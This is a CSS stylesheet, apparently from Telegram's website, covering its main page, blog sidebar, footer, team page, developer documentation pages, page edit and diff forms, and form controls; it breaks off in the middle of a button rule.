h3:hover a.anchor i.anchor-icon,
h4:hover a.anchor i.anchor-icon,
h5:hover a.anchor i.anchor-icon,
h6:hover a.anchor i.anchor-icon {
  opacity: 0.6;
}
i.anchor-icon:hover {
  opacity: 1 !important;
}

.breadcrumb {
  background-color: #ecf3fa;
}
.breadcrumb {
  white-space: nowrap;
  text-overflow: ellipsis;
  overflow: hidden;
}
.breadcrumb li {
  display: inline-block;
  float: none;
  white-space: nowrap;
  text-overflow: ellipsis;
}
.breadcrumb > li + li:before {
  padding: 0;
  content: "";
}

.slightly-pull-right {
  float: right;
}
.slightly-pull-left {
  float: left;
}


.back_to_top_wrap {
  display: block;
  pointer-events: none;
  cursor: default;
  position: fixed;
  left: 0;
  top: 0;
  bottom: 0;
  outline: none;
  box-shadow: none;
  opacity: 0;
  /*display: none;*/
  transition: opacity ease-in-out 0.2s;
  -webkit-transition: opacity ease-in-out 0.2s;
}
.back_to_top_wrap.back_to_top_shown {
  cursor: pointer;
  pointer-events: all;
  /*display: block;*/
  opacity: 1;
}
.back_to_top_wrap:hover {
  text-decoration: none;
}
.back_to_top {
  font-size: 15px;
  width: 120px;
  text-align: center;
  padding: 18px 15px 18px 7px;
  transition: background ease-in-out 0.2s;
  -webkit-transition: background ease-in-out 0.2s;
}
.back_to_top_wrap:hover .back_to_top {
  background: #ecf3f8;
  background: rgba(174, 198, 215, 0.2);
}

.navbar-tg .navbar-twitter a {
  padding-top: 14.5px;
  padding-bottom: 14.5px;
}

.tl_main_page_container {
  padding: 0;
}

.tl_main_wrap {
  margin-top: 17px;
}
.tl_main_wrap h3 {
  color: #222222;
  font-size: 23px;
  font-weight: 500;
}

.no_access_wrap {
  color: #999;
  padding: 100px 40px;
  text-align: center;
  font-size: 18px;
}

.side_blog_wrap {
  background: #ecf3fa;
  padding: 15px 20px 20px;
  font-size: 12px;
  width: 200px;
}
.tl_blog_side_blog .side_blog_wrap {
  width: 180px;
}
.side_blog_header {
  display: block;
  color: #0088cc;
  font-weight: bold;
  font-size: 16px;
  margin-bottom: 15px;
}
a.side_blog_entry {
  display: block;
  margin-top: 10px;
}
a.side_blog_entry:hover {
  text-decoration: none;
}
.side_blog_date {
  color: #000;
  font-weight: bold;
}
.side_blog_title {
  color: #0088cc;
}
a.side_blog_entry:hover .side_blog_title {
  text-decoration: underline;
}
.side_tour_entry .side_blog_title {
  font-size: 14px;
}

.tl_main_bottom_blog,
.tl_blog_bottom_blog {
  display: none;
}
.tl_main_side_blog {
  position: relative;
}
.tl_main_side_blog .side_blog_wrap {
  position: absolute;
  margin-top: 20px;
  right: 137px;
}
.tl_main_bottom_blog {
  margin: 0px 15px 20px;
}
.side_blog_wrap {
  background: none;
  padding: 5px 17px;
  margin: 0 0 17px 26px;
  border-left: 5px solid #179cde;
}
.tl_blog_bottom_blog .side_blog_wrap {
  margin: 0 0 0 10px;
}
.tl_blog_side_blog {
  position: relative;
}
.tl_blog_side_blog .side_blog_wrap {
  position: absolute;
  margin-top: 50px;
  right: -200px;
}



.tl_main_logo_wrap {
  max-width: 315px;
  margin: 0 auto;
  padding: 20px 0 20px;
}
a.tl_main_logo {
  display: block;
  line-height: 0;
  text-decoration: none !important;
}
img.tl_main_logo {
  display: block;
  width: 128px;
  height: 128px;
  margin: 0 auto;
}
.tl_main_logo_title,
.tl_main_logo_title:hover {
  font-size: 34px;
  color: #222222;
  text-align: center;
  margin-top: 18px;
  margin-bottom: 6px;
  font-weight: normal;
  letter-spacing: -2px;
}

.tl_main_logo_lead {
  font-size: 20px;
  line-height: 148%;
  max-width: 285px;
  margin: 0 auto;
  color: #8c8c8c;
  text-align: center;
  padding: 1px 0 10px;

  font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Light", Helvetica, Arial , Verdana, sans-serif;
  font-weight: 300;
}


.tl_main_head_download {
  margin: 6px auto 35px;
  max-width: 798px;
  text-align: center;
}
.tl_main_download_btn {
  display: inline-block;
  color: #FFF;
  font-size: 16px;
  background: #a19481;
  border-radius: 4px;
  padding: 10px 15px;
  line-height: 35px;
  overflow: hidden;
  width: 220px;
  margin: 5px 8px;
  text-align: center;
}
.tl_main_download_btn:hover {
  background-color: #a99d8b;
  color: #FFF;
  text-decoration: none;
}
.tl_main_download_btn:active {
  background-color: #998e7e;
}

.tl_main_download_mobile {
  text-align: center;
  max-width: 1028px;
  margin: 20px auto 20px;
  margin: 0 auto;
}
.tl_main_download_link {
  text-align: center;
  display: inline-block;
  height: 290px;
  padding-top: 250px;
  padding-bottom: 20px;
  margin: 40px 0;
  font-size: 15px;
  max-width: 100%;
  -webkit-transition: box-shadow .2s ease-in-out;
  -moz-transition: box-shadow .2s ease-in-out;
  -ms-transition: box-shadow .2s ease-in-out;
}
.tl_main_download_link:hover {
  text-decoration: none;
  box-shadow: 0px 3px 0px 0px #179cde;
}

.tl_main_download_more_btn {
  margin-bottom: 0;
  font-weight: normal;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  background-image: none;
  border: 0;
  white-space: nowrap;
  padding: 10px 16px;
  font-size: 15px;
  line-height: 1.33;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  color: #ffffff;
  background-color: #318fd3;
  margin-top: 5px;
  display: none;
  border-radius: 3px;
}
.tl_main_download_more_btn:hover {
  color: #FFF;
}

.tl_main_download_desktop_header {
  text-align: center;
}
.tl_main_download_desktop_wrap1 {
  height: 291px;
  overflow: hidden;
}
.tl_main_download_desktop_wrap {
  position: absolute;
  left: 0;
  right: 0;
}

.tl_main_download_desktop_links {
  width: 595px;
  margin: 0 auto;
}
.tl_main_download_desktop_link {
  text-align: center;
  display: inline-block;
  padding: 270px 0 20px;
  font-size: 15px;
  vertical-align: top;
  -webkit-transition: box-shadow .2s ease-in-out;
  -moz-transition: box-shadow .2s ease-in-out;
  -ms-transition: box-shadow .2s ease-in-out;
}
.tl_main_download_desktop_link:hover {
  text-decoration: none;
  box-shadow: 0px 3px 0px 0px #179cde;
}
.tl_main_download_link_td {
  width: 52%;
  padding-left: 20px;
  padding-right: 20px;
}
.tl_main_download_link_osx {
  width: 48%;
}
.tl_main_body {
  margin-top: 40px;
  padding-top: 5px;
}
.tl_main_body_header {
  text-align: center;
  margin-top: 0;
  padding-top: 20px;
}

.icon-ios {
  background-position: 0 0px;
  height: 26px;
  margin-top: -5px;
}
.icon-android {
  background-position: 0 -46px;
  height: 23px;
  margin-top: -3px;
}
.icon-wp {
  background-position: 0 -90px;
  height: 20px;
  margin-top: -1px;
}

.icon {
  display: inline-block;
}

a:hover .icon-twitter {
  opacity: 0.99;
}



.tl_main_cards {
  max-width: 950px;
  margin: 18px auto 0;
  padding: 0;
}
.tl_main_card_cell,
.tl_main_card_cell_last {
  position: relative;
  min-height: 1px;
  padding-left: 15px;
  padding-right: 15px;
}
@media (min-width: 768px) {
  .tl_main_card_cell,
  .tl_main_card_cell_last {
    width: 50%;
    float: left;
  }
  .tl_main_card_cell_last {
    width: 100%;
  }
}
@media (min-width: 992px) {
  .tl_main_card_cell,
  .tl_main_card_cell_last {
    width: 33.33333%;
  }
}

.tl_main_card_wrap {
  max-width: 260px;
  margin: 0 auto;
  padding: 20px 0 9px;
}

h3.tl_main_card_header {
  color: #a19679;
  text-align: center;
  margin: 15px 0 6px;
  font-size: 26px;
  font-weight: normal;
  letter-spacing: -1px;
}

.tl_main_card_lead {
  font-size: 15px;
  line-height: 158%;
  text-align: center;
}

.tl_main_share {
  margin: 24px auto 40px;
  /*padding-bottom: 30px;*/
  max-width: 330px;
  text-align: center;
}
.tl_main_noshare {
  height: 50px;
}
.tl_main_twitter_widget_wrap {
  /*float: left;*/
  display: inline-block;
}
.tl_main_facebook_widget_wrap {
  /*float: left;*/
  margin-right: 20px;
  display: inline-block;
}
.fb_iframe_widget span {
  vertical-align: baseline !important;
}

.tl_blog_comments_widget {
  margin: 0 -8px 40px;
}
.tl_blog_comments_widget iframe {
  max-width: 100%;
}

.tl_main_gplus_widget_wrap {
  /*float: left;*/
  display: inline-block;
}

.tl_twitter_share_btn {
  display: inline-block;
  border-radius: 16px;
  background-color: #54a9eb;
  cursor: pointer;
  margin-right: 15px;
  padding: 7px 17px;
  color:#FFF;
  font-weight: bold;
}
.tl_twitter_share_btn:hover,
.tl_twitter_share_btn:active,
.tl_twitter_share_btn:focus {
  text-decoration: none;
  color: #FFF;
  outline: none;
}
.tl_twitter_share_cnt {
  display: none;
  color: #c4e3fb;
}


.footer_wrap {
  border-top: 1px solid #e8e8e8;
  max-width: 925px;
  margin: 10px auto 0;
  padding: 28px 0 34px;
}
.footer_mobile {
  display: none;
}
.footer_columns_wrap {
  padding-left: 0;
  padding: 0 0 0 63px;
  margin: 0;
}
.footer_column {
  float: left;
  padding-right: 78px;
}
.footer_column_telegram {
  width: 290px;
  padding-right: 50px;
}
.footer_column:last-child {
  padding-right: 0;
}
.footer_column:first-child {
  padding-left: 0;
}
.footer_column h5 {
  font-size: 14px;
  margin-top: 0;
  margin-bottom: 9px;
}
.footer_column h5 a {
  color: inherit;
}
.footer_column ul,
.footer_column ul li {
  list-style: none;
  margin: 0;
  padding: 0;
}
.footer_column ul li {
  font-size: 14px;
  line-height: 23px;
}
.footer_privacy_description {
  padding-top: 3px;
  font-size: 13px;
  line-height: 160%;
}
.footer_privacy_description p {
  margin-bottom: 6px;
}
.footer_telegram_description {
  font-size: 13px;
}



.tl_mission_wrap #dev_page_content,
.tl_mission_wrap #dev_page_content p  {
  font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Light", Helvetica, Arial , Verdana, sans-serif;
  font-weight: 300;
  line-height: 160%;
  font-size: 16px;
}



/* Team */
#dev_page_content.tl_team_wrap,
#dev_page_content.tl_team_wrap p {
  line-height: 1.6;
}
.tl_team_lead {
  margin-bottom: 30px;
}
.tl_team_member {
  min-height: 120px;
  position: relative;
  margin-bottom: 30px;
}
.tl_team_member_photo_wrap {
  position: absolute;
  // float: left;
  // margin-right: 25px;
}

.tl_team_member_pavel .tl_team_member_photo {
  background-position: 0 0;
}
.tl_team_member_nikolay .tl_team_member_photo {
  background-position: 0 -130px;
}
.tl_team_member_aliaksei .tl_team_member_photo {
  background-position: 0 -260px;
}
.tl_team_member_vitalik .tl_team_member_photo {
  background-position: 0 -390px;
}
.tl_team_member_arseny .tl_team_member_photo {
  background-position: 0 -520px;
}
.tl_team_member_igor .tl_team_member_photo {
  background-position: 0 -650px;
}
.tl_team_member_drklo .tl_team_member_photo {
  background-position: 0 -780px;
}
.tl_team_member_peter .tl_team_member_photo {
  background-position: 0 -910px;
}
.tl_team_member_john .tl_team_member_photo {
  background-position: 0 -1040px;
}
.tl_team_member_kolar .tl_team_member_photo {
  background-position: 0 -1170px;
}
.tl_team_member_ilya .tl_team_member_photo {
  background-position: 0 -1300px;
}
.tl_team_member_igor1 .tl_team_member_photo {
  background-position: 0 -1690px;
}
.tl_team_member_mike .tl_team_member_photo {
  background-position: 0 -1560px;
}
.tl_team_member_grisha .tl_team_member_photo {
  background-position: 0 -1430px;
}


.tl_team_member_name {
  margin-left: 146px;
}
.tl_team_member_body {
  margin-left: 146px;
}

.tl_team_member_name {
  margin-top: 5px;
  font-size: 17px;
}
.tl_team_member_awards {
  margin-top: 20px;
  margin-bottom: 18px;
  color: #0088cc;
  font-size: 15px;
}
.tl_team_member_experience,
.tl_team_member_awards_list {
  line-height: 1.8;
}
.tl_team_member_description {
  margin-top: 20px;
}



/* Core / dev */

.dev_page {
  background: #FFF;
  min-height: 500px;
}
#dev_page_content_wrap {
  padding: 20px 0;
  max-width: 800px;
  margin: 0 auto;
}
#dev_page_content,
#dev_page_content p {
  font-size: 14px;
  line-height: 1.5;
}
#dev_page_content img.emoji {
  vertical-align: top;
  -webkit-user-drag: none;
  user-drag: none;
  cursor: text;
}
.dev_page_bread_crumbs .breadcrumb {
  margin-bottom: 10px;
  border-radius: 0;
}
#dev_page_title {
  position: static;
}

.dev_page_head {
  margin-bottom: 0;
}
.dev_page_head .dev_page_head_logo {
  margin-left: 0;
}
#dev_page_content_wrap blockquote {
  padding: 5px 17px;
}
#dev_page_content_wrap pre {
  overflow-x: auto;
  border-radius: 0;
}

#dev_page_content_wrap pre::-webkit-scrollbar {
  visibility: visible;
  display: block;
  height: 15px;
}
#dev_page_content_wrap pre::-webkit-scrollbar-track:horizontal {
  background: rgba(93, 144, 177, 0.2);
  border-radius: 0;
  height: 15px;
}
#dev_page_content_wrap pre::-webkit-scrollbar-thumb:horizontal {
  background: rgba(93, 144, 177, 0.4);
  border-radius: 0;
  height: 15px;
}

#dev_page_content_wrap .richcode {
  display: block;
  padding: 9.5px;
  margin: 0 0 10px;
  font-size: 13px;
  line-height: 20px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  border-radius: 4px;

  color: #546172;
  background: #ecf3f8;

  font-family: Monaco,Menlo,Consolas,"Courier New",monospace;
}
#dev_page_content_wrap .richcode code {
  background: #FFF;
}
.richcode p:last-child {
  margin-bottom: 0;
}

#dev_page_content_wrap pre code {
  overflow-wrap: normal;
  white-space: pre;
}
#dev_page_content_wrap a.current_page_link {
  color: #468847;
  text-decoration: underline;
}

#dev_page_content_wrap a.nonexisting_page_link {
  color: #FF0000;
  text-decoration: underline;
}

.dev_side_image {
  max-width: 200px;
  float: right;
  padding: 0 0 0 20px;
}
.dev_side_image img {
  max-width: 180px;
}


#dev_page_content_wrap pre.page_scheme {
  margin: 20px 0 30px;
}
.dev_page_edit_form {
  border-top: 1px solid #DDD;
  padding-top: 50px;
  max-width: 800px;
  margin: 30px auto 0;
}
.dev_page_edit_form .CodeMirror {
  font-size: 14px;
  line-height: 20px;
  font-family: Monaco, Menlo, Consolas, "Courier New", monospace;
  border: 1px solid #eee;
  height: auto;
  position: relative;

  margin-bottom: 9px;
  color: #555555;
  border: 1px solid #ccc;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  -webkit-transition: border linear 0.2s, box-shadow linear 0.2s;
  -moz-transition: border linear 0.2s, box-shadow linear 0.2s;
  -ms-transition: border linear 0.2s, box-shadow linear 0.2s;
  -o-transition: border linear 0.2s, box-shadow linear 0.2s;
  transition: border linear 0.2s, box-shadow linear 0.2s;
}

.dev_page_edit_form .CodeMirror-focused {
 border-color: rgba(82, 168, 236, 0.8);
 outline: 0;
 outline: thin dotted \9;

 -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
    -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
         box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
}

.dev_page_edit_form .CodeMirror-scroll {
  overflow-y: hidden;
  overflow-x: auto;
}

.dev_page_edit_form .CodeMirror pre {
  white-space: pre-wrap;
  word-break: break-all;
  word-wrap: break-word;
}

.dev_page_edit_form #dev_page_diff .CodeMirror {
  font-size: 12px;
  margin-bottom: 0;
}
#dev_page_diff .CodeMirror-merge,
#dev_page_diff .CodeMirror-merge .CodeMirror {
  height: auto;
}
#dev_page_diff .CodeMirror-merge-2pane {
  display: flex;
  border: 0;
  margin-bottom: 9px;
}
#dev_page_diff .CodeMirror-merge-2pane .CodeMirror-merge-pane {
  width: 48%;
}
#dev_page_diff .CodeMirror-merge-2pane .CodeMirror-merge-gap {
  height: auto;
  width: 4%;
}
#dev_page_diff .CodeMirror-merge-pane-rightmost {
  position: static;
  right: auto;
}
#dev_page_diff .CodeMirror-merge-scrolllock-wrap {
  display: none;
}
#dev_page_diff .CodeMirror-merge-left .CodeMirror {
  background: rgba(0,0,0,0.06);
}
#dev_page_diff .CodeMirror-merge-l-inserted,
#dev_page_diff .CodeMirror-merge-l-deleted {
  background: none;
}
#dev_page_diff.dev_page_diff__wcolor .CodeMirror-merge-l-inserted {
  /*background: rgba(0,200,0,0.18);*/
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
  background-color: #dfd;
  /*border: 1px solid #4e4;*/
}
#dev_page_diff.dev_page_diff__wcolor .CodeMirror-merge-l-deleted {
  /*background: rgba(200,0,0,0.18);*/
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);
  background-position: bottom left;
  background-repeat: repeat-x;
  background-color: #fdd;
  /*border: 1px solid #e44;*/
}

.table-msg-schema td {
  text-align: center;
}
.table-msg-schema>thead>tr>th,
.table-msg-schema>tbody>tr>th,
.table-msg-schema>tfoot>tr>th,
.table-msg-schema>thead>tr>td,
.table-msg-schema>tbody>tr>td,
.table-msg-schema>tfoot>tr>td {
  border: 1px solid #d5d5d5;
}

#dev_upload_btn {
  cursor: pointer;
  overflow: hidden;
  position: relative;
}
.dev_upload_input {
  cursor: pointer;
  font-size: 72px !important;
  opacity: 0.01;
  position: absolute;
  z-index: 100;
  margin: 0;
  padding: 0;
  top: 0;
  right: 0;
}


.app_edit_page {
  width: 700px;
  margin: 40px auto;
}
.app_lock_tt {
  padding: 3px;
  display: inline-block;
}
.app_lock_text {
  font-size: 13px;
}

.tg-table-stats {
  font-size: 12px;
}
.tg-table-stats th a.active {
  color: inherit;
}

.dev_side_nav_wrap {
  position: relative;
}
.dev_side_nav {
  position: absolute;
  width: 200px;
  right: -200px;
}
/*.is_rtl .dev_side_nav {
  left: -200px;
  right: auto;
}*/
.is_rtl .dev_side_nav .nav {
  padding-right: 0;
  padding-left: 0;
  padding-right: 0;
}
.dev_side_nav > ul {
  width: 200px;
  background: none;
  padding: 10px 0 10px;
}
.dev_side_nav > ul::-webkit-scrollbar {
  display: none;
}
.dev_side_nav > ul.affix-top {
  position: relative;
}
.dev_side_nav > ul.affix {
  position: fixed;
  top: 0;
  max-height: 100%;
  overflow-y: scroll;
}
.dev_side_nav > ul.affix-bottom {
  position: relative;
  height: auto;
  overflow-y: scroll;
}
.dev_side_nav li {
  float: none !important;
}
.dev_side_nav li a {
  border-left: 2px solid transparent;
  padding: 10px 10px;
  background: none !important;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}
.is_rtl .dev_side_nav li a {
  border-right: 2px solid transparent;
  border-left: 0;
}
.dev_side_nav li a {
  display: block;
  font-size: 13px;
  font-weight: 500;
  padding: 4px 20px 4px 18px;
  font-weight: 700;
  background-color: transparent;
}
.is_rtl .dev_side_nav li a {
  padding: 4px 18px 4px 20px;
}
.dev_side_nav li li a {
  padding-left: 15px;
  padding: 1px 18px 1px 30px;
  font-size: 12px;
  font-weight: 400;
}
.is_rtl .dev_side_nav li li a {
  padding: 1px 30px 1px 18px;
}
.dev_side_nav li a:hover {
  border-color: rgba(23, 156, 222, 0.6);
}
.dev_side_nav li.active > a {
  border-color: #179cde;
}
.dev_side_nav li ul {
  display: none;
}
.dev_side_nav li.active ul {
  display: block;
}


/* Core / dev end*/



/* Support */
.support_wrap {
  max-width: 800px;
  background: #FFF;
  margin: 0 auto;
  padding: 20px 0;
}
.support_submit {
}


/* FAQ */
.twitter_timeline_wrap {
  width: 300px;
  padding-top: 14px;
}

.dev_lang_select {
  padding: 2px 0 0;
  margin: 24px 0 0;
  width: 130px;
}
.dev_layer_select .dropdown-menu,
.dev_lang_select .dropdown-menu {
  right: 0;
  left: auto;
}
.dev_lang_select .dropdown {
  float: none;
}
.dev_lang_select .dropdown-toggle {
  display: block;
  text-align: center;
  font-size: 14px;
}
.dev_lang_select .dropdown-menu {
  width: 130px;
  min-width: 130px;
}
.dev_lang_select .dropdown-menu li a {
  font-size: 13px;
  /*padding: 7px;*/
}
.is_rtl .dev_layer_select .dropdown-menu,
.is_rtl .dev_lang_select .dropdown-menu {
  right: auto;
  left: 0;
}

.is_rtl {
  direction: rtl;
}

.is_rtl blockquote {
  padding: 0 15px 0 0;
  margin: 0 0 20px;
  border-left: 0;
  border-right: 5px solid #eeeeee;
}

.is_rtl .pull-right,
.is_rtl .slightly-pull-right {
  float: left;
}
.is_rtl .pull-left,
.is_rtl .slightly-pull-left {
  float: right;
}

.is_rtl .anchor {
  left: auto;
  right: 0;
}

#login_widget_config {
  margin: 40px auto;
}
.form-group .dropdown + .dropdown {
  margin-left: 15px;
}
.dropdown-label {
  margin-right: 7px;
  display: inline-block;
  max-width: 300px;
  white-space: nowrap;
  text-overflow: ellipsis;
  overflow: hidden;
  vertical-align: top;
}
.dropdown-label .muted {
  color: #999;
}

.textfield-item input.form-control,
.form-control-dropdown-select,
.form-control-static-item,
.textfield-item-placeholder {
  font-size: 14px;
  line-height: 20px;
  font-weight: normal;
}
.textfield-item input.form-control,
.form-control-dropdown-select {
  padding: 11px 0 10px;
  border: none;
  height: auto;
  resize: none;
  color: inherit;
  background: transparent;
  border-bottom: 1px solid #e0e0e0;
  box-shadow: none;
}
.textfield-item input.form-control:focus {
  box-shadow: none;
}
.form-control-static-item {
  padding: 11px 0;
}

.textfield-item {
  display: block;
  position: relative;
}
.textfield-item-underline {
  display: block;
  position: absolute;
  bottom: 0;
  left: 50%;
  right: 50%;
  height: 2px;
  background: #39ade7;
  transition: opacity .2s ease-out, left 0s .2s linear, right 0s .2s linear;
  opacity: 0;
}
.textfield-item input.form-control:focus ~ .textfield-item-underline {
  transition: left .2s ease-out, right .2s ease-out;
  left: 0;
  right: 0;
  opacity: 1;
}
.textfield-item-placeholder {
  bottom: 0;
  color: #ccc;
  color: rgba(0,0,0,.26);
  left: 0;
  right: 0;
  pointer-events: none;
  position: absolute;
  display: block;
  top: 11px;
  width: 100%;
  overflow: hidden;
  white-space: nowrap;
  text-align: left
}

.textfield-item input.form-control::-webkit-input-placeholder {
  color: #999;
  color: rgba(0,0,0,.42);
}
.textfield-item input.form-control::-moz-placeholder {
  color: #999;
  color: rgba(0,0,0,.42);
}
.textfield-item input.form-control:-ms-input-placeholder {
  color: #999;
  color: rgba(0,0,0,.42);
}
.textfield-item input.form-control:focus::-webkit-input-placeholder {
  color: #ccc;
  color: rgba(0,0,0,.26);
}
.textfield-item input.form-control:focus::-moz-placeholder {
  color: #ccc;
  color: rgba(0,0,0,.26);
}
.textfield-item input.form-control:focus:-ms-input-placeholder {
  color: #ccc;
  color: rgba(0,0,0,.26);
}
.textfield-item-error {
  color: #d45a58;
  position: absolute;
  font-size: 14px;
  line-height: 19px;
  min-height: 19px;
  margin: 5px 0 -19px;
  background: #fff;
  width: 100%;
  padding-bottom: 7px;
  visibility: hidden;
  display: block;
}
.textfield-item.is-invalid .textfield-item-error {
  visibility: visible
}
.textfield-item.is-invalid input.form-control {
  border-bottom: 1px solid #d50000;
}
.textfield-item.is-invalid .textfield-item-underline {
  background: #d50000;
}
.control-label-item,
.form-telegram .control-label {
  text-align: right;
  margin-bottom: 0;
  line-height: 20px;
  padding-top: 11px;
}
.form-telegram .help-block {
  font-size: 13px;
  color: #808080;
  margin-top: 10px;
  margin-bottom: 5px;
}
.form-telegram .form-group {
  margin-bottom: 20px;
}
.form-telegram textarea.form-control {
  margin-top: 7px;
}
.form-telegram .form-control[readonly] {
  cursor: text;
  background: #fff;
}
.form-telegram .form-control[readonly]:focus {
  border: 1px solid #ccc;
  box-shadow: none;
}
.form-control-dropdown {
  position: relative;
}

.form-control-dropdown .form-control-dropdown-search {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  visibility: hidden;
  opacity: 0;
}
.form-control-dropdown.open .form-control-dropdown-search {
  visibility: visible;
  opacity: 1;
}
.form-control-dropdown.open .form-control-dropdown-select {
  visibility: hidden;
  opacity: 0;
}
.form-control-dropdown-select {
  color: #ccc;
  color: rgba(0,0,0,.26);
  cursor: pointer;
  position: relative;
  white-space: nowrap;
  text-overflow: ellipsis;
  overflow: hidden;
}
.form-control-dropdown-select:focus {
  outline: none;
}
.form-control-dropdown-select.is-dirty {
  color: inherit;
}
.form-control-dropdown-button {
  position: absolute;
  display: inline-block;
  transition: all .2s ease;
  border: none;
  padding: 0;
  background: none !important;
  visibility: hidden;
  opacity: 0;
  top: 0;
  right: 0;
}
.form-control-dropdown-button:active {
  box-shadow: none !important;
}

.form-control-dropdown-list {
  position: absolute;
  left: -15px;
  right: -15px;
  margin: -2px 0;
  background: #fff;
  text-align: left;
  padding: 7px 0;
  box-shadow: 0 0 2px 1px rgba(0, 0, 0, .15);
  border: none;
  transition: all .2s ease;
  visibility: hidden;
  opacity: 0;
  max-height: 220px;
  overflow: auto;
  overflow-x: hidden;
  -webkit-overflow-scrolling: touch;
  z-index: 10;
}
.form-control-dropdown.has-items .form-control-dropdown-button,
.form-control-dropdown.has-items.open .form-control-dropdown-list {
  visibility: visible;
  opacity: 1;
}
.form-control-dropdown-list-item,
.form-control-dropdown-list-no-results {
  font-size: 14px;
  line-height: 18px;
  padding: 8px 15px;
  cursor: pointer;
}
.form-control-static-item .small,
.form-control-dropdown-select .small,
.form-control-dropdown-list-item .small {
  font-size: 13px;
  line-height: 16px;
  color: #a8a8a8;
  padding-left: 8px;
}
.form-control-dropdown-search .form-control-dropdown-list-item:hover {
  background: none;
}
.form-control-dropdown-search .form-control-dropdown-list-item.selected,
.form-control-dropdown-list-item:hover {
  background: #f2f2f2;
}
.form-control-dropdown-list-no-results {
  color: #a8a8a8;
  cursor: auto;
}
.form-control-dropdown-select,
.form-control-dropdown input.form-control {
  padding-right: 33px;
}
.help-block-item {
  display: block;
  font-size: 14px;
  line-height: 18px;
  margin-top: 5px;
  margin-bottom: 0;
  color: #a8a8a8;
}
.help-block-item a {
  color: #76bfeb;
}

.radio-item,
.checkbox-item {
  display: inline-block;
  vertical-align: top;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  font-weight: normal;
}
.radio-item-block,
.checkbox-item-block {
  display: block;
  margin: 6px 0 1px;
  padding: 5px 0;
  line-height: 20px;
}
.radio-item-block + .radio-item-block,
.checkbox-item-block + .checkbox-item-block {
  margin-top: 1px;
}
.radio-item input.radio,
.checkbox-item input.checkbox {
  position: absolute;
  left: -5000px;
}
.radio-item input.radio ~ .radio-label,
.checkbox-item input.checkbox ~ .checkbox-label {
  display: inline-block;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  -o-user-select: none;
  user-select: none;
  max-width: calc(100% - 31px);
}
.radio-item .radio-input,
.checkbox-item .checkbox-input {
  display: inline-block;
  vertical-align: top;
  position: relative;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  -o-user-select: none;
  user-select: none;
  transition: opacity 0.12s linear;
}
.radio-item .radio-input + .radio-label,
.checkbox-item .checkbox-input + .checkbox-label {
  margin-left: 11px;
}
.radio-item .radio-input-icon,
.checkbox-item .checkbox-input-icon {
  display: inline-block;
  content: '';
  width: 20px;
  height: 20px;
  border: 2px solid #b3b3b3;
  background: #fff;
  border-radius: 10px;
  vertical-align: top;
  padding: 0;
  cursor: pointer;
  position: relative;
}
.radio-item .radio-input-icon:before,
.checkbox-item .checkbox-input-icon:before {
  display: inline-block;
  content: '';
  position: absolute;
  width: 20px;
  height: 20px;
  border: 2px solid #54a9eb;
  border-radius: 10px;
  top: -2px;
  left: -2px;
  transition: opacity 0.12s linear;
  opacity: 0;
}
.radio-item .radio-input-icon:after {
  display: inline-block;
  content: '';
  position: absolute;
  width: 10px;
  height: 10px;
  background: #54a9eb;
  border-radius: 5px;
  top: 3px;
  left: 3px;
  transition: transform 0.12s linear;
  transform: scale3d(0, 0, 1);
}
.radio-item input.radio:checked + .radio-input .radio-input-icon:before,
.checkbox-item input.checkbox:checked + .checkbox-input .checkbox-input-icon:before {
  opacity: 1;
}
.radio-item input.radio:checked + .radio-input .radio-input-icon:after {
  transform: scale3d(1, 1, 1);
}
.checkbox-item .checkbox-input-icon,
.checkbox-item .checkbox-input-icon:before {
  width: 18px;
  height: 18px;
  margin: 1px;
  border-radius: 3px;
}
.checkbox-item .checkbox-input-icon:before {
  margin: 0;
  background: #54a9eb url('data:image/svg+xml,%3Csvg height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"%3E%3Cg fill="%23fff" fill-rule="evenodd"%3E%3Crect height="6" rx="1" transform="matrix(.70710678 -.70710678 .70710678 .70710678 -6.746804 8.368629)" width="2" x="5.728427" y="9.328427"/%3E%3Crect height="11.5" rx="1" transform="matrix(.70710678 .70710678 -.70710678 .70710678 10.712311 -5.169417)" width="2" x="10.596194" y="4.596194"/%3E%3C/g%3E%3C/svg%3E') no-repeat center;
}
.radio-item input.radio:disabled + .radio-input,
.checkbox-item input.checkbox:disabled + .checkbox-input {
  cursor: default;
  pointer-events: none;
  opacity: .65;
}

.button-item {
  font-size: 14px;
  font-weight: 500;
  line-height: 100%;
  color: #fff;
  background: #4ca3e2;
  border-radius: 19px;
  display: inline-block;
  padding: 12px 26px 12px;
  text-transform: uppercase;
  text-align: center;
  vertical-align: middle;
  border: none;
  transition: background-color .2s ease;
  white-space: nowrap;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}
.button-item-flat {
  color: #1385d8;
  background: transparent;
}
.button-item:hover {
  background: #4199d9;
}
.button-item-flat:hover {
